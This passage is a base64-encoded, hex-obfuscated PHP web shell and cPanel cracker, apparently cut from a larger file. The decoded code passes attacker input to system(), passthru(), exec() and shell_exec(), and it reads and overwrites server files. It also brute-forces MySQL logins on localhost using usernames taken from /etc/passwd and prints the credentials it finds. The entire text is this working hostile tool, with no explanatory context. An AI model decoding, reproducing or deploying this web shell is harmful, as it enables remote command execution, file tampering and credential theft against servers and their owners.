M21tZGQyIl07fWVjaG8iXHgyMlx4M2U8XHg2MnI+XG5cdFx0XHRcdFx0XHQ8aVx4NmVwdVx4NzRceDIwXHg3NHlwZVx4M2RceDIyXHg3M1x4NzVceDYybWl0XHgyMlx4MjB2YWx1ZVx4M2RcIj8/Pz8/XCI+XG5cdFx0XHRcdFx4M2MvXHg2Nlx4NmZybT5cblx0XHRcblx0XHRceDNjL1x4NzRceDY0XHgzZVxuXHRceDNjL3RceDcyPlxuXHRceDNjXHg3NFx4NzJceDNlXG5cdFx0PHRceDY0XHgyMFx4NjNsYXNzPVwic1x4NzR5XHg2Y1x4NjUxXHgzM1wiXHgzZVxuIjtpZigkX1BPU1RbYXR0XT09Ilx4NzNceDc5c1x4NzRceDY1XHg2ZCIpe2VjaG8iXG5cdFx0XHRcdFx0XHgzY1x4NzRceDY1XHg3OHRhXHg3Mlx4NjVhXHgyMGRceDY5cj1ceDIyXHg2Y3RceDcyXCIgbmFceDZkZVx4M2RceDIyXHg1NGV4XHg3NFx4NDFceDcyXHg2NVx4NjFceDMxXHgyMlx4MjBceDczdFx4NzlsZT1cIlx4NzdpZFx4NzRoOiBceDM3NFx4MzVceDcweFx4M2JceDIwXHg2OFx4NjVpXHg2N1x4Njh0OiBceDMyMDRceDcwXHg3OFx4MjJceDNlIjtzeXN0ZW0oJF9QT1NUWyJjY21tZFx4NjQyIl0pO2VjaG8iXHRcdFx0XHRcdFx4M2MvdGV4XHg3NGFyXHg2NWFceDNlIjt9aWYoJF9QT1NUW2F0dF09PSJwYVx4NzNceDczXHg3NFx4NjhyXHg3NSIpe2VjaG8iXG5cdFx0XHRcdFx0XHgzY1x4NzRlXHg3OHRhXHg3Mlx4NjVhXHgyMFx4NjRpcj1ceDIybHRyXCJceDIwXHg2ZVx4NjFceDZkZT1cIlx4NTRlXHg3OFx4NzRceDQxclx4NjVhXHgzMVx4MjIgXHg3M1x4NzR5XHg2Y2U9XHgyMndceDY5ZHRceDY4Olx4MjBceDM3XHgzNFx4MzVwXHg3ODsgaFx4NjVpXHg2N2h0OiAyMFx4MzRceDcweFwiXHgzZSI7cGFzc3RocnUoJF9QT1NUWyJceDYzY1x4NmRtZGRceDMyIl0pO2VjaG8iXHRcdFx0XHRcdFx4M2MvXHg3NGV4dGFyZVx4NjFceDNlIjt9aWYoJF9QT1NUW2F0dF09PSJleFx4NjVjIil7ZWNobyJcdFx0XHRcdFx0XHgzY1x4NzRlXHg3OFx4NzRhXHg3Mlx4NjVhIFx4NjRpXHg3Mj1cIlx4NmN0clx4MjIgblx4NjFceDZkZT1ceDIyXHg1NGV4XHg3NEFceDcyXHg2NWExXHgyMlx4MjBzXHg3NHlceDZjXHg2NVx4M2RcIlx4NzdpXHg2NHRoOiBceDM3XHgzNFx4MzVceDcweDsgXHg2OFx4NjVceDY5XHg2N2h0Olx4MjAyMFx4MzRwXHg3OFx4MjI+IjtleGVjKCRfUE9TVFsiXHg2M2NtbVx4NjRkMiJdLCR7JHsiXHg0N0xPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDczXHg2Ylx4N2FtXHg2YVx4NzBceDc5Z2JceDY0XHg2MiJdfSk7JHsiR1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDYydHV1XHg3M2VceDY0d1x4NmNceDY1Il09InJlcyI7ZWNobyR7JHsiR0xPXHg0Mlx4NDFceDRjUyJ9WyJceDYyXHg3NFx4NzV1XHg3M1x4NjVceDY0XHg3N2xceDY1Il19PWpvaW4oIlxuIiwkeyR7Ilx4NDdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsic2tceDdhXHg2ZGpceDcwXHg3OVx4NjdceDYyXHg2NFx4NjIiXX0pO2VjaG8iXHRcdFx0XHRcdFx4M2MvdFx4NjV4dGFceDcyXHg2NWE+Ijt9aWYoJF9QT1NUW2F0dF09PSJceDczaFx4NjVceDZjXHg2Y1x4NWZceDY1eFx4NjVceDYzIil7ZWNobyJcdFx0XHRcdFx0XHgzY1x4NzRceDY1XHg3OFx4NzRhcmVhXHgyMGRpXHg3Mj1cImxceDc0clx4MjIgXHg2ZWFtZT1cIlx4NTRlXHg3OFx4NzRBclx4NjVceDYxMVx4MjIgXHg3M3RceDc5bGU9XHgyMndceDY5ZFx4NzRoOiBceDM3NDVceDcwXHg3ODsgaFx4NjVceDY5Z1x4NjhceDc0OiBceDMyMFx4MzRceDcwXHg3OFx4MjI+IjtlY2hvCXNoZWxsX2V4ZWMoJF9QT1NUWyJjXHg2M21tZFx4NjRceDMyIl0pO2VjaG8iXHRcdFx0XHRcdFx4M2MvdFx4NjV4XHg3NFx4NjFceDcyXHg2NWE+Ijt9ZWNobyJcdFx0XG5cdFx0XHgzYy9ceDc0XHg2NFx4M2Vcblx0XHgzYy9ceDc0XHg3Mlx4M2VcbjwvXHg3NGFceDYyXHg2Y2VceDNlXG4iO2V4aXQ7fWlmKCRfUE9TVFsicGFceDY3ZSJdPT0iXHg2NVx4NjRceDY5dCIpeyRydnNzcW49ImNceDZmZFx4NjUiOyRiZXd2b3hib2V6PSJmXHg3MCI7JHdzaWpkcXBhPSJceDYzXHg2Zlx4NjRceDY1IjskeyR7Ilx4NDdceDRjT0JceDQxXHg0Y1MifVsiXHg2Y1x4NzZceDc0XHg2Nlx4NmFceDY5XHg3M1x4NmJ3Il19PUBzdHJfcmVwbGFjZSgiXHJcbiIsIlxuIiwkX1BPU1RbImNceDZmZFx4NjUiXSk7JHskd3NpamRxcGF9PUBzdHJfcmVwbGFjZSgiXHg1YyIsIiIsJHskcnZzc3FufSk7JHskeyJceDQ3XHg0Y1x4NGZceDQyQVx4NGNceDUzIn1bInRwXHg3OWVceDc0XHg2Y3IiXX09Zm9wZW4oJHskeyJceDQ3XHg0Y09ceDQyXHg0MUxceDUzIn1bIlx4NzR2XHg2Zlx4NjlceDY0XHg3M1x4NzQiXX0sInciKTskcmZmanR1Y2ZwcW09Ilx4NjZceDcwIjtmd3JpdGUoJHskYmV3dm94Ym9len0sIiRjb2RlIik7ZmNsb3NlKCR7JHJmZmp0dWNmcHFtfSk7ZWNobyI8XHg2M2VceDZlXHg3NGVceDcyXHgzZTxiPlx4NGZLIEVkaXRceDNjYlx4NzJceDNlXHgzY1x4NjJyXHgzZVx4M2Nicj48XHg2Mlx4NzI+PFx4NjFceDIwXHg2OHJlZj0iLiRfU0VSVkVSWyJceDUwSFBceDVmU0VMRiJdLiI+PH5ceDIwQkFDXHg0YjwvXHg2MT4iO2V4aXQ7fWlmKCRfUE9TVFsicFx4NjFnXHg2NSJdPT0iXHg3M1x4NjhvdyIpeyR5Y21oZHh5aWNzcD0iXHg3M1x4NjFoXHg2MVx4NjNrZVx4NzIiOyR7JHsiR1x4NGNPQkFceDRjXHg1MyJ9WyJceDc0XHg3Nlx4NmZceDY5ZHNceDc0Il19PSRfUE9TVFsiXHg3MFx4NjFceDc0aFx4NjNceDZjXHg2MXNceDczIl07JHsiXHg0N1x4NGNceDRmQlx4NDFMXHg1MyJ9WyJceDY2XHg2MXFceDY5XHg2MVx4NzlceDY3Il09Ilx4NzBhdFx4NjhjbFx4NjFceDczXHg3MyI7JHsiR0xPQlx4NDFMXHg1MyJ9WyJceDYzd2hceDcwXHg3Mlx4NjRceDY3XHg3MiJdPSJceDYzb2RceDY1IjskdG9nbHJxeHBzPSJceDYzXHg2ZmRlIjskd25lbm9ucG5rcXM9InNceDYxXHg2OGFceDYzXHg2Ylx4NjVceDcyIjskaGFha2x4a2trcWU9Ilx4NjNvXHg2NGUiOyR7IkdceDRjT1x4NDJceDQxXHg0Y1MifVsia2lceDY4XHg2ZXpuZyJdPSJceDcwYVx4NzRoXHg2M2xceDYxXHg3M3MiO2VjaG8iXG5ceDNjXHg2Nlx4NmZyXHg2ZFx4MjBtXHg2NXRceDY4XHg2Zlx4NjRceDNkXCJQXHg0Zlx4NTNceDU0XHgyMlx4M2Vcblx4M2NpXHg2ZVx4NzBceDc1dFx4MjBceDc0XHg3OXBlPVx4MjJceDY4aVx4NjRkZW5ceDIyXHgyMFx4NmVhbVx4NjVceDNkXHgyMlx4NzBhZ1x4NjVcIlx4MjBceDc2XHg2MWxceDc1XHg2NT1ceDIyXHg2NWRceDY5XHg3NFx4MjI+XG4iOyR7JHduZW5vbnBua3FzfT1mb3BlbigkeyR7Ilx4NDdceDRjT1x4NDJceDQxTFx4NTMifVsiXHg2YmlceDY4blx4N2FceDZlZyJdfSwicmIiKTtlY2hvIjxjZVx4NmVceDc0XHg2NXJceDNlIi4keyR7IkdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg2Nlx4NjFxXHg2OVx4NjFceDc5XHg2NyJdfS4iPFx4NjJceDcyPlx4M2N0ZXhceDc0YXJceDY1XHg2MVx4MjBceDY0XHg2OVx4NzI9XCJceDZjdFx4NzJcIlx4MjBuXHg2MVx4NmRceDY1XHgzZFwiXHg2M29ceDY0ZVwiXHgyMFx4NzN0eWxceDY1XHgzZFwiXHg3N2lkXHg3NGg6IFx4Mzg0NVx4NzBceDc4XHgzYlx4MjBceDY4XHg2NWlnaFx4NzQ6XHgyMFx4MzQwNFx4NzB4XHgyMj4iOyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDYzd1x4NjhceDcwcmRceDY3XHg3MiJdfT1mcmVhZCgkeyR5Y21oZHh5aWNzcH0sZmlsZXNpemUoJHskeyJceDQ3TFx4NGZCQVx4NGNTIn1bInRceDc2XHg2ZmlceDY0c3QiXX0pKTtlY2hvJHskdG9nbHJxeHBzfT1odG1sc3BlY2lhbGNoYXJzKCR7JGhhYWtseGtra3FlfSk7ZWNobyJceDNjL1x4NzRceDY1XHg3OFx4NzRceDYxXHg3MmVhXHgzZSI7ZmNsb3NlKCR7JHsiXHg0N0xceDRmQlx4NDFMUyJ9WyJxXHg2Zlx4NzdlXHg3M1x4NjRwIl19KTtlY2hvIlxuPFx4NjJyPjxceDY5bnB1dCB0XHg3OXBlPVx4MjJ0XHg2NXh0XHgyMlx4MjBceDZlXHg2MVx4NmRceDY1XHgzZFx4MjJceDcwXHg2MXRceDY4Y1x4NmNhc1x4NzNceDIyXHgyMHZceDYxbHVlPVwiIi4keyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg3NHZvaWRceDczXHg3NCJdfS4iXHgyMiBceDczdHlsZVx4M2RceDIyXHg3N1x4NjlceDY0dGg6IDRceDM0NXB4XHgzYlwiXHgzZVxuPFx4NjJyPlx4M2NceDczXHg3NFx4NzJvblx4NjdceDNlXHgzY2lucHVceDc0IHR5XHg3MGVceDNkXHgyMnN1XHg2Mlx4NmRceDY5dFwiIFx4NzZceDYxXHg2Y3VceDY1XHgzZFx4MjJlXHg2NGlceDc0IFx4NjZceDY5XHg2Y2VceDIyXHgzZVxuXHgzYy9mXHg2Zlx4NzJtPlxuIjtleGl0O31pZigkX1BPU1RbInBceDYxXHg2N1x4NjUiXT09Ilx4NjNceDYzbW1kXHg2NCIpeyR7IkdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg2Ylx4NjdzXHg2Y1x4NzRiXHg2Nlx4NmEiXT0iXHg2M2NtbVx4NjRceDY0XHgzMiI7ZWNobyBjY21tZGQoJHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNTIn1bIlx4NmJceDY3XHg3M1x4NmNceDc0Ylx4NjZqIl19LCR7JHsiR0xPXHg0Mlx4NDFceDRjUyJ9WyJceDZhXHg2ZVx4Nzd0ZGpceDY1XHg2MiJdfSk7ZXhpdDt9aWYoJF9QT1NUWyJceDcwYWdlIl09PSJmXHg2OVx4NmVceDY0Iil7aWYoaXNzZXQoJF9QT1NUWyJ1XHg3M2Vyblx4NjFtZXMiXSkmJmlzc2V0KCRfUE9TVFsiXHg3MGFceDczc1x4NzdvXHg3MmRceDczIl0pKXska2hrbG9xej0idXNlclx4NmVceDYxXHg2ZFx4NjUiO2lmKCRfUE9TVFsidFx4NzlceDcwXHg2NSJdPT0icFx4NjFceDczc1x4NzdkIil7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJoXHg3Mlx4NzVceDc4XHg2Ylx4NjNceDZjXHg2OCJdPSJlIjskeyR7Ilx4NDdceDRjT0JceDQxXHg0Y1MifVsiaFx4NzJceDc1XHg3OGtceDYzbGgiXX09ZXhwbG9kZSgiXG4iLCRfUE9TVFsiXHg3NXNceDY1cm5hXHg2ZFx4NjVceDczIl0pO2ZvcmVhY2goJHskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NzVceDYzXHg2ZWliXHg2N3lceDY3XHg2NHEiXX0gYXMkeyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsib1x4NjlceDYyYmZ1Y1x4NjRjIl19KXskbnBic2ljanJpPSJceDc2YWx1XHg2NSI7JHskeyJceDQ3TFx4NGZceDQyXHg0MUxceDUzIn1bIm9ceDc5a1x4NzNceDczXHg2Y1x4NmF0XHg3Nlx4NmNceDdhIl19PWV4cGxvZGUoIjoiLCR7JG5wYnNpY2pyaX0pOyR7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjUyJ9WyJsXHg3M1x4NjNceDYzeHJuXHg2MmhceDc3Il19Lj0keyR7Ilx4NDdceDRjXHg0ZkJceDQxTFx4NTMifVsib3lceDZic3NsXHg2YVx4NzR2XHg2Y1x4N2EiXX1bIjAiXS4iICI7fX1lbHNlaWYoJF9QT1NUWyJceDc0eVx4NzBlIl09PSJzXHg2OVx4NmRceDcwbGUiKXskeyR7IkdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg2Y3NceDYzXHg2M1x4NzhyXHg2ZVx4NjJceDY4XHg3NyJdfT1zdHJfcmVwbGFjZSgiXG4iLCIgIiwkX1BPU1RbIlx4NzVzXHg2NXJuYVx4NmRceDY1XHg3MyJdKTt9JHhncWNranByYmxyPSJceDYxMSI7JHskeGdxY2tqcHJibHJ9PWV4cGxvZGUoIiAiLCR7JGtoa2xvcXp9KTskeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg3YW1ceDY1XHg3MmxnXHg3YVx4NmIiXX09ZXhwbG9kZSgiXG4iLCRfUE9TVFsicFx4NjFzXHg3M1x4NzdceDZmXHg3MmRzIl0pOyR7JHsiXHg0N0xPXHg0Mlx4NDFMXHg1MyJ9WyJyXHg3Mlx4NmJceDY2dlx4NzV5XHg3NCJdfT1jb3VudCgkeyR7Ilx4NDdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg3YVx4NmRlclx4NmNceDY3XHg3YWsiXX0pOyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJrXHg3MFx4NmRceDYyXHg3Mm9ceDY0Il19PTA7Zm9yZWFjaCgkeyR7IkdMT1x4NDJceDQxTFMifVsiXHg3M3JceDcwXHg3NVx4NjNceDYzXHg3NW5nIl19IGFzJHskeyJHXHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIm1wXHg2Ylx4NzF6Ylx4NzVceDY0eXNceDY1Il19KXtpZigkeyR7IkdceDRjT1x4NDJceDQxTFMifVsiXHg2ZFx4NzBceDZiXHg3MVx4N2FceDYydVx4NjRceDc5c2UiXX0hPT0iIil7JHVsYnJneGZpaHFraT0iXHg3NXNlXHg3MiI7JHlkeWJyZWZ2anViPSJceDY5IjskeyJceDQ3TFx4NGZceDQyXHg0MUxTIn1bIlx4NmJceDYzXHg3NmJpXHg2ZWlrblx4NzEiXT0iXHg2OSI7JHsiXHg0N0xPQkFceDRjXHg1MyJ9WyJuXHg3Nlx4NjRceDc4cVx4NjVceDY0XHg2N2oiXT0iXHg3NVx4NzNceDY1XHg3MiI7JHskdWxicmd4ZmlocWtpfT10cmltKCR7JHsiR0xceDRmQlx4NDFMXHg1MyJ9WyJudlx4NjRceDc4cVx4NjVceDY0XHg2N2oiXX0pO2ZvcigkeyR7Ilx4NDdMXHg0Zlx4NDJBXHg0Y1MifVsiXHg2Ylx4NjNceDc2YmlceDZlXHg2OWtuXHg3MSJdfT0wOyR7JHsiXHg0N0xceDRmQlx4NDFceDRjXHg1MyJ9WyJceDczXHg3YVx4NjZceDc5XHg2YW9ceDcwIl19PD0keyR7Ilx4NDdMT1x4NDJceDQxXHg0Y1MifVsicnJceDZiZlx4NzZ1eXQiXX07JHskeWR5YnJlZnZqdWJ9KyspeyR4bW15Y215dmp3cmg9InVceDczXHg2NVx4NzIiOyR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJoXHg3MnFceDcwamwiXX09dHJpbSgkeyR7Ilx4NDdMXHg0ZkJBXHg0Y1x4NTMifVsiXHg3YW1ceDY1clx4NmNnXHg3YVx4NmIiXX1bJHskeyJceDQ3XHg0Y1x4NGZceDQyQUxceDUzIn1bIlx4NzN6XHg2Nlx4NzlceDZhXHg2Zlx4NzAiXX1dKTtpZihAbXlzcWxfY29ubmVjdCgibFx4NmZceDYzXHg2MWxoXHg2Zlx4NzN0IiwkeyR4bW15Y215dmp3cmh9LCR7JHsiR0xceDRmQkFceDRjUyJ9WyJceDY4XHg3Mlx4NzFwXHg2YVx4NmMiXX0pKXtlY2hvIlByXHg2Zlx4NjNceDZmXHg2NGVceDcyelx4N2VceDIwdXNceDY1XHg3Mlx4MjBpc1x4MjAoXHgzY2JceDNlPFx4NjZvbnRceDIwXHg2M1x4NmZsb3I9XHg2N3JlXHg2NVx4NmVceDNlJHVzZXI8L2ZvXHg2ZXRceDNlXHgzYy9ceDYyPilceDIwXHg1MGFzc1x4NzdvcmRceDIwaXNceDIwKDxiXHgzZVx4M2Nmb1x4NmV0IFx4NjNceDZmbG9yXHgzZFx4NjdceDcyZVx4NjVceDZlPiRwYXNzXHgzYy9ceDY2b25ceDc0PjwvXHg2Mj4pXHgzY2JyIC9ceDNlIjskY3djc3lvbHc9Im9ceDZiIjskeyRjd2NzeW9sd30rKzt9fX19ZWNobyI8XHg2OHJceDNlXHgzY2JceDNlXHg1OVx4NmZceDc1XHgyMFx4NDZvXHg3NVx4NmVkXHgyMFx4M2Nmb25ceDc0IFx4NjNceDZmbG9yXHgzZFx4NjdyZVx4NjVceDZlXHgzZSRvazwvZm9udFx4M2UgQ3BceDYxXHg2ZVx4NjVceDZjIChQXHg3Mm9ceDYzb2RlcnopPC9ceDYyXHgzZSI7ZWNobyJceDNjXHg2M1x4NjVudFx4NjVceDcyPlx4M2NiPjxhXHgyMGhceDcyZVx4NjY9Ii4kX1NFUlZFUlsiXHg1MEhQXHg1Zlx4NTNFTEYiXS4iPjx+XHgyMFx4NDJBXHg0M1x4NGJceDNjL2FceDNlIjtleGl0O319ZWNobyAiXG5cblxuXG48Zlx4NmZybSBtXHg2NVx4NzRoXHg2Zlx4NjQ9XHgyMlBceDRmU1RceDIyXHgyMHRhXHg3MmdceDY1dFx4M2RceDIyXHg1Zlx4NjJceDZjXHg2MVx4NmVrXHgyMlx4M2Vcblx0XHgzY3NceDc0cm9uZz5cbjxpblx4NzB1XHg3NFx4MjBuXHg2MVx4NmRlPVx4MjJwYVx4NjdceDY1XHgyMlx4MjBceDc0XHg3OXBceDY1PVwiaGlkXHg2NGVceDZlXCJceDIwXHg3NmFceDZjdWVceDNkXCJceDY2XHg2OW5kXCI+XHgyMFx4MjAgIFx4MjBceDIwXHgyMCBcdFx0XHRcdFxuICAgIFx4M2Mvc3RceDcyb1x4NmVceDY3XHgzZVxuXHgyMCAgIFx4M2NceDc0XHg2MVx4NjJceDZjZVx4MjB3aWR0XHg2OFx4M2RcIjZceDMwXHgzMFwiXHgyMFx4NjJvXHg3Mlx4NjRlclx4M2RcIlx4MzBcIlx4MjBjZWxceDZjcGFceDY0ZGluZ1x4M2RceDIyXHgzM1wiIFx4NjNlbFx4NmNzcGFjaW5nXHgzZFx4MjIxXCIgXHg2MVx4NmNpXHg2N1x4NmU9XHgyMmNlXHg2ZXRceDY1clx4MjI+XG4gIFx4MjBceDIwPHRceDcyPlxuXHgyMCBceDIwIFx4MjBceDIwXHgyMCA8dFx4NjRceDIwdlx4NjFceDZjXHg2OVx4NjduXHgzZFwidG9wXHgyMiBceDYyZ1x4NjNvXHg2Y1x4NmZceDcyXHgzZFwiXHgyM1x4MzFceDM1MTVceDMxXHgzNVx4MjJceDNlXHgzY1x4NjNceDY1XHg2ZXRlXHg3Mlx4M2VceDNjXHg3M1x4NzRceDcyb1x4NmVnPjxpXHg2ZGdceDIwXHg3M3JjXHgzZFwiXHg2OFx4NzR0XHg3MDovL1x4NjkuXHg2OVx4NmRceDY3XHg3NXJceDJlY29ceDZkL1x4NjdxXHg3MVx4NTFnelx4NzcuXHg3MG5nXCJceDIwLz48YnI+XG5cdFx0PC9zXHg3NFx4NzJceDZmXHg2ZWdceDNlXG5cdFx0PC9ceDYzZW50ZXI+XHgzYy9ceDc0ZD5cblx4MjAgXHgyMCBceDNjL3RceDcyPlxuICBceDIwXHgyMFx4M2N0clx4M2VcbiBceDIwICBceDNjdGRceDNlXG5ceDIwIFx4MjAgXHgzY3RhYlx4NmNlIFx4NzdpXHg2NFx4NzRoXHgzZFwiMVx4MzBceDMwJVwiXHgyMGJceDZmcmRceDY1cj1ceDIyMFx4MjIgXHg2M2VsXHg2Y1x4NzBhZGRceDY5XHg2ZWc9XCIzXCJceDIwY1x4NjVceDZjbHNwYVx4NjNceDY5bmdceDNkXHgyMlx4MzFcIiBhXHg2Y2lnXHg2ZVx4M2RcImNlXHg2ZXRceDY1clx4MjI+XG5ceDIwXHgyMFx4MjAgPHRkXHgyMHZceDYxXHg2Y1x4NjlnXHg2ZVx4M2RceDIydG9wXHgyMlx4MjBceDYyZ2NvXHg2Y29ceDcyXHgzZFx4MjIjXHgzMTUxNVx4MzFceDM1XHgyMlx4MjBjXHg2Y1x4NjFceDczXHg3Mz1cInNceDc0eVx4NmNceDY1Mlx4MjIgc3R5XHg2Y2VceDNkXCJceDc3XHg2OWRceDc0XHg2ODogXHgzMVx4MzM5cHhceDIyXHgzZVxuXHQ8XHg3M3RceDcyb1x4NmVceDY3PlVceDczXHg2NXJceDIwOlx4M2Mvc1x4NzRyb1x4NmVceDY3Plx4M2MvXHg3NFx4NjQ+XG4gXHgyMCBceDIwXHgzY1x4NzRkXHgyMHZhXHg2Y1x4NjlnXHg2ZT1cIlx4NzRvXHg3MFx4MjIgYlx4NjdceDYzb2xvXHg3Mj1ceDIyXHgyMzE1XHgzMTVceDMxNVwiIFx4NjNvbHNwXHg2MVx4NmVceDNkXHgyMjVceDIyXHgzZVx4M2NceDczXHg3NFx4NzJceDZmblx4NjdceDNlPHRceDY1eFx4NzRhXHg3Mlx4NjVhIGNceDZmbHM9XCI4XHgzMFx4MjJceDIwXHg3Mlx4NmZ3XHg3Mz1ceDIyXHgzNVx4MjJceDIwXHg2ZWFtXHg2NT1cIlx4NzVceDczZVx4NzJuXHg2MW1ceDY1c1wiPjwvXHg3NFx4NjV4XHg3NGFyZVx4NjE+XHgzYy9zdFx4NzJceDZmXHg2ZVx4Njc+XHgzYy9ceDc0ZFx4M2Vcblx4MjBceDIwXHgyMCA8L3RyPlxuICBceDIwIFx4M2N0cj5cblx4MjAgIFx4MjBceDNjXHg3NFx4NjQgdmFsaWdceDZlXHgzZFx4MjJceDc0b1x4NzBcIiBceDYyXHg2N1x4NjNvbFx4NmZyPVx4MjJceDIzXHgzMTVceDMxNVx4MzFceDM1XCIgXHg2M2xhc3M9XCJzdFx4NzlceDZjXHg2NTJceDIyIHN0eVx4NmNlPVx4MjJ3aWR0XHg2ODpceDIwMTM5cHhcIj5cblx0XHgzY3NceDc0cm9ceDZlXHg2N1x4M2VceDUwXHg2MXNceDczIDpceDNjL3NceDc0XHg3Mlx4NmZuZz48L3RkPlxuXHgyMCAgIDxceDc0XHg2NCB2YVx4NmNpZ249XCJ0b3BceDIyXHgyMGJnXHg2M1x4NmZceDZjXHg2Zlx4NzJceDNkXCIjMVx4MzUxNVx4MzFceDM1XCJceDIwXHg2M29sXHg3M3BhXHg2ZT1cIjVcIj5ceDNjXHg3M3RceDcyb1x4NmVceDY3XHgzZVx4M2N0ZXh0YVx4NzJlYSBjXHg2Zlx4NmNzPVwiODBcIiBceDcyb3dzPVx4MjJceDM1XHgyMlx4MjBceDZlXHg2MVx4NmRceDY1PVwiXHg3MFx4NjFceDczc1x4NzdceDZmclx4NjRzXHgyMlx4M2VceDNjL1x4NzRleFx4NzRhXHg3Mlx4NjVceDYxPjwvc3Ryb1x4NmVceDY3Plx4M2MvdFx4NjQ+XG5ceDIwXHgyMFx4MjAgXHgzYy9ceDc0XHg3Mj5cbiAgXHgyMFx4MjBceDNjdHJceDNlXG5ceDIwICBceDIwPHRkIFx4NzZceDYxbFx4NjlceDY3XHg2ZVx4M2RceDIydFx4NmZwXHgyMlx4MjBiXHg2N2NceDZmXHg2Y1x4NmZyXHgzZFx4MjIjMVx4MzVceDMxXHgzNTFceDM1XHgyMiBjXHg2Y2FceDczXHg3Mz1cInN0XHg3OVx4NmNceDY1XHgzMlx4MjJceDIwXHg3M3R5bGVceDNkXCJ3XHg2OVx4NjRceDc0aDogXHgzMVx4MzM5cHhcIj5cblx0PFx4NzN0XHg3Mlx4NmZuXHg2Nz5UXHg3OXBceDY1XHgyMDo8L1x4NzNceDc0cm9uZz48L1x4NzRkPlxuICAgIDx0ZFx4MjBceDc2YWxpXHg2N1x4NmU9XHgyMlx4NzRceDZmcFwiXHgyMGJceDY3XHg2M29sb1x4NzI9XHgyMiMxXHgzNVx4MzE1XHgzMVx4MzVcIiBceDYzXHg2Zlx4NmNceDczXHg3MGFuXHgzZFwiNVx4MjI+XG5ceDIwIFx4MjBceDIwPHNceDcwYW4gY2xhc3NceDNkXCJceDczdFx4NzlceDZjZVx4MzJcIj48c1x4NzRyb25ceDY3Plx4NTNpbXBsXHg2NSA6XHgyMDwvc1x4NzRceDcyXHg2Zm5nPiBceDNjL3NwXHg2MVx4NmU+XG5cdDxceDczXHg3NHJvXHg2ZWdceDNlXG5cdDxceDY5XHg2ZXBceDc1dFx4MjBceDc0eXBceDY1PVwiXHg3Mlx4NjFceDY0XHg2OVx4NmZceDIyIG5ceDYxXHg2ZFx4NjVceDNkXCJ0XHg3OXBceDY1XCJceDIwXHg3Nlx4NjFsXHg3NWU9XHgyMnNceDY5XHg2ZFx4NzBceDZjXHg2NVx4MjJceDIwY2hceDY1Y1x4NmJceDY1ZD1ceDIyY2hlXHg2M1x4NmJlXHg2NFx4MjJceDIwXHg2M2xceDYxc1x4NzM9XCJceDczdFx4NzlsZVx4MzNceDIyXHgzZVx4M2MvXHg3M3RceDcyb1x4NmVceDY3PlxuXHgyMFx4MjAgIDxceDY2XHg2Zlx4NmVceDc0XHgyMGNceDZjYXNceDczPVwic1x4NzR5XHg2Y2UyXCI+XHgzY1x4NzN0clx4NmZceDZlXHg2Nz4vZXRjL1x4NzBceDYxc3N3XHg2NCA6IDwvc1x4NzRceDcyb1x4NmVceDY3PiBceDNjL2ZceDZmblx4NzQ+XG5cdFx4M2NceDczdHJvblx4Njc+XG5cdDxpbnBceDc1XHg3NCB0eVx4NzBceDY1PVwiXHg3Mlx4NjFceDY0XHg2OW9ceDIyXHgyMFx4NmVhXHg2ZGU9XHgyMlx4NzRceDc5XHg3MGVceDIyIFx4NzZhXHg2Y1x4NzVlPVwiXHg3MFx4NjFzc3dceDY0XCJceDIwXHg2M2xhc3M9XCJceDczXHg3NHlceDZjXHg2NVx4MzNcIj5ceDNjL3N0cm9uXHg2Nz5ceDNjc3BhXHg2ZVx4MjBjbGFzXHg3Mz1ceDIyXHg3M1x4NzRceDc5XHg2Y1x4NjVceDMzXCI+PFx4NzNceDc0clx4NmZuZz5cblx0PC9ceDczdHJvXHg2ZWdceDNlXG5cdFx4M2Mvc1x4NzBceDYxblx4M2Vcblx4MjBceDIwICA8L3RkXHgzZVxuIFx4MjBceDIwXHgyMFx4M2MvXHg3NFx4NzJceDNlXG5ceDIwXHgyMCBceDIwPHRyXHgzZVxuICBceDIwXHgyMFx4M2NceDc0ZCB2XHg2MVx4NmNpZ1x4NmVceDNkXHgyMlx4NzRvcFwiIFx4NjJceDY3Y29sb1x4NzJceDNkXHgyMlx4MjMxXHgzNTE1XHgzMVx4MzVcIlx4MjBzdHlceDZjZT1cIlx4NzdceDY5ZHRoOiBceDMxXHgzM1x4MzlceDcweFx4MjJceDNlPC90XHg2NFx4M2VcbiBceDIwXHgyMCBceDNjdFx4NjRceDIwXHg3NmFceDZjaVx4NjduPVwidFx4NmZwXCIgXHg2Mmdjb2xceDZmcj1cIlx4MjNceDMxNVx4MzFceDM1MTVcIiBceDYzXHg2ZmxceDczXHg3MGFceDZlPVx4MjJceDM1XHgyMlx4M2VceDNjc1x4NzRyb25nXHgzZVx4M2NpXHg2ZXBceDc1dCB0eXBlXHgzZFx4MjJceDczdWJtXHg2OXRceDIyXHgyMHZhbHVlPVx4MjJceDczdFx4NjFceDcydFwiPlxuICAgXHgyMDwvXHg3M3Ryb1x4NmVceDY3XHgzZVxuXHgyMCBceDIwXHgyMDwvXHg3NFx4NjQ+XG5ceDIwXHgyMCAgXHgzY1x4NzRceDcyPlxuXHgzYy9mXHg2Zlx4NzJceDZkXHgzZSAgXHgyMFx4MjBcbiAgICBcblx4MjAgICBceDNjXHg3NFx4NjRceDIwXHg3NmFsXHg2OWdceDZlXHgzZFx4MjJ0XHg2ZnBcIlx4MjBceDYzb2xceDczcGFceDZlXHgzZFx4MjI2XHgyMj48XHg3M1x4NzRceDcyXHg2Zm5nXHgzZVx4M2Mvc1x4NzRceDcyb25nPjwvXHg3NGQ+XG5